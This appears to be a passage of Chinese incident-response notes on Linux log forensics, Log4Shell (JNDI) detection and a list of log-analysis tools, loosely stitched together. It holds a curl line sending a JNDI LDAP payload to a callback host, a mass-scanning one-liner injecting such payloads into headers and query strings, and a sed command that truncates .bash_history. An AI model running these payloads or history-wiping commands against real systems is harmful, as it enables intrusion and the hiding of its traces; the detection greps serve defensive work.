Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
grep "userdel" /var/log/secure
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)`
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
/var/log/yum.log
yum install gcc
[root@bogon ~]# more /var/log/yum.log
Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686
删除历史操作记录,只保留前153行
sed -i '153,$d' .bash_history
除root之外,是否还有其它特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
sudo grep -I -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
${jdn:...}
,取而代之的是BadAttributeValueException: foo=1
1)正常请求
curl -H '<logged header>: normalheadercontent' http://localhost/some/endpoint/
<timestamp> DEBUG [some.service.package.SomeClass] - <function name> - request <logged header> header with value of normalheadercontent
2)成功请求 exploit
$ curl -H '<logged header>: ${jndi:ldap://192.168.1.15:1337/e}' http://localhost/some/endpoint/
<timestamp> DEBUG [<some.service.package.SomeClass>] - <function name> - request <logged header> header with value of BadAttributeValueException: foo=1
find -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' ; -print
find -name ".jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always log4j-core-2..jar' ; -print
subfinder -d example.com -silent |puredns resolve -q |httprobe | while read url; do case1=$(curl -s $url -H "X-Api-Version: ${jndi:ldap://testog/a}"); case2=$(curl -s "$url/?test=${jndi:ldap://testog/a}"); case3=$(curl -s $url -H "User-Agent: ${jndi:ldap://testog/a}"); echo -e "\033[43mDOMAIN => $url\033[0m]" "\n" " Case1=> X-Api-Version: running-Ldap-payload" "\n" " Case1=> Useragent: running-Ldap-payload" "\n" " Case1=> $url/?test=running-Ldap-payload" "\n";done
应急工具收集:
Nginx日志安全分析脚本
https://github.com/al0ne/nginx_log_check/blob/master/nginx_check.sh">https://github.com/al0ne/nginx_log_check/blob/master/nginx_check.sh
分别使用MRJob和Pandas对Nginx日志进行分析
https://github.com/daiguadaidai/nginx_log_parse">https://github.com/daiguadaidai/nginx_log_parse
Windows系统安全登录日志分析工具logonTracer汉化修正版
https://github.com/TheKingOfDuck/logonTracer">https://github.com/TheKingOfDuck/logonTracer
loginsight致力于打造一款日志分析的利器
https://github.com/compilelife/loginsight">https://github.com/compilelife/loginsight
GoAccess是一个开源的实时Web日志分析器和交互式查看器
https://github.com/CplusHua/Goaccess">https://github.com/CplusHua/Goaccess
windows日志一键分析小工具
https://github.com/dogadmin/windodws-logs-analysis">https://github.com/dogadmin/windodws-logs-analysis
分析web访问日志以及web目录文件属性,用于根据查找可疑后门文件的相关脚本。
https://github.com/mornone/webshell-find-tools">https://github.com/mornone/webshell-find-tools
WEB日志分析查找工具,支持任何文本日志文件的分析(Apache, Nginx),多关键词查找、关键词排除,轻松处理百万行日志内容
https://github.com/czyathainan/log-analysis">https://github.com/czyathainan/log-analysis
slf4j日志分析工具
https://github.com/aspwebchh/log-view">https://github.com/aspwebchh/log-view
新浪云应用SAE 日志下载和分析
https://github.com/cxcxcxcx/sae-logs">https://github.com/cxcxcxcx/sae-logs
基础分析Nginx日志的小工具
https://github.com/xiucaiwu/nginxlog_parse">https://github.com/xiucaiwu/nginxlog_parse
python日志分析
https://github.com/fengwenl/python2.7-web_log">https://github.com/fengwenl/python2.7-web_log
Windows系统日志嗅探分析工具
https://github.com/lougd/LogSniff">https://github.com/lougd/LogSniff
MongoDB日志分析
https://github.com/yuanyeXu/LogAnalysis">https://github.com/yuanyeXu/LogAnalysis
日志分析工具集合
https://github.com/lpflpf/logAnalysis">https://github.com/lpflpf/logAnalysis
攻击日志分析工具
https://github.com/Lucifer1993/ALB">https://github.com/Lucifer1993/ALB
应急响应日志分析小脚本
https://github.com/tide-emergency/yingji/tree/master/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%B9%8B%E5%B7%A5%E5%85%B7%E7%AF%87">https://github.com/tide-emergency/yingji/tree/master/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%B9%8B%E5%B7%A5%E5%85%B7%E7%AF%87
应急小脚本(运行脚本之前,需要输入正确的主机ip地址、ssh远程连接端口、ssh远程登录账户、ssh远程登录密码)
https://github.com/tide-emergency/yingji/blob/master/rizhi_find.py">https://github.com/tide-emergency/yingji/blob/master/rizhi_find.py
elk
https://www.elastic.co">https://www.elastic.co
scribe
https://github.com/facebook/scribe">https://github.com/facebook/scribe
chukwa
http://incubator.apache.org/chukwa/">http://incubator.apache.org/chukwa/
kafka
http://sna-projects.com/kafka/">http://sna-projects.com/kafka/
Flume
https://github.com/cloudera/flume/">https://github.com/cloudera/flume/
开源应急响应工具
https://github.com/Bypass007/Emergency-Response-Notes">https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/grayddq/GScan.git">https://github.com/grayddq/GScan.git
参考链接:
https://github.com/tide-emergency/yingji">https://github.com/tide-emergency/yingji
https://mp.weixin.qq.com/s/8iHxQbVn0V9IwqemNr7l_Q">https://mp.weixin.qq.com/s/8iHxQbVn0V9IwqemNr7l_Q
https://mp.weixin.qq.com/s/J02iFMXB6wk9QG6pcL6psw">https://mp.weixin.qq.com/s/J02iFMXB6wk9QG6pcL6psw
https://mp.weixin.qq.com/s/CtnHy9X7_csTwrG5KJvDjg">https://mp.weixin.qq.com/s/CtnHy9X7_csTwrG5KJvDjg
https://mp.weixin.qq.com/s/uT6_2H2cV32ghvxnFxw2Fw">https://mp.weixin.qq.com/s/uT6_2H2cV32ghvxnFxw2Fw
https://xianzhi.aliyun.com/forum/read/1723.html">https://mp.weixin.qq.com/s/F01p8PsDI13I1N5iZ2EVmw
https://xianzhi.aliyun.com/forum/read/1723.html">https://mp.weixin.qq.com/s/keg1fwEXXpGSH09IRzlPRQ
https://mp.weixin.qq.com/s/ruhg6-OIJFwtDYfPITnCwA">https://mp.weixin.qq.com/s/ruhg6-OIJFwtDYfPITnCwA
https://mp.weixin.qq.com/s/UG3ZWuJK5igrrDuGn-KO2Q">https://mp.weixin.qq.com/s/UG3ZWuJK5igrrDuGn-KO2Q
https://mp.weixin.qq.com/s/7v1NhFVxV4d42Wj793_sJw">https://mp.weixin.qq.com/s/7v1NhFVxV4d42Wj793_sJw
https://mp.weixin.qq.com/s/bjZJyvrQctqzNapWzwmb_A">https://mp.weixin.qq.com/s/bjZJyvrQctqzNapWzwmb_A
https://mp.weixin.qq.com/s/6sUszktKqlpp1LTqFfGCdg">https://mp.weixin.qq.com/s/6sUszktKqlpp1LTqFfGCdg
https://mp.weixin.qq.com/s/rTn_QKhK40mNEP9nwvukfw">https://mp.weixin.qq.com/s/rTn_QKhK40mNEP9nwvukfw
https://mp.weixin.qq.com/s/2o_IbmnJn9U7bojjQggVjQ">https://mp.weixin.qq.com/s/2o_IbmnJn9U7bojjQggVjQ
https://mp.weixin.qq.com/s/EbXQZJU-gTLUjDnH8fP3Gg">https://mp.weixin.qq.com/s/EbXQZJU-gTLUjDnH8fP3Gg
https://mp.weixin.qq.com/s/HvK1Hc77iX0CxQm8yis1IQ">https://mp.weixin.qq.com/s/HvK1Hc77iX0CxQm8yis1IQ
https://klionsec.github.io/2017/08/01/log-find/">https://klionsec.github.io/2017/08/01/log-find/
https://mp.weixin.qq.com/s/VOqtxwP1M72nafvWcYiZ3g">https://mp.weixin.qq.com/s/VOqtxwP1M72nafvWcYiZ3g
https://mp.weixin.qq.com/s/pYQ_7dk5_XYDhqNMSsGGQw">https://mp.weixin.qq.com/s/pYQ_7dk5_XYDhqNMSsGGQw
https://mp.weixin.qq.com/s/9w0UblLvyQnVAG8w9iaIpg">https://mp.weixin.qq.com/s/9w0UblLvyQnVAG8w9iaIpg
https://mp.weixin.qq.com/s/lxEJKUKL_kK8gD3dTom8XA">https://mp.weixin.qq.com/s/lxEJKUKL_kK8gD3dTom8XA
你以为你有很多路可以选择,其实你只有一条路可以走
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。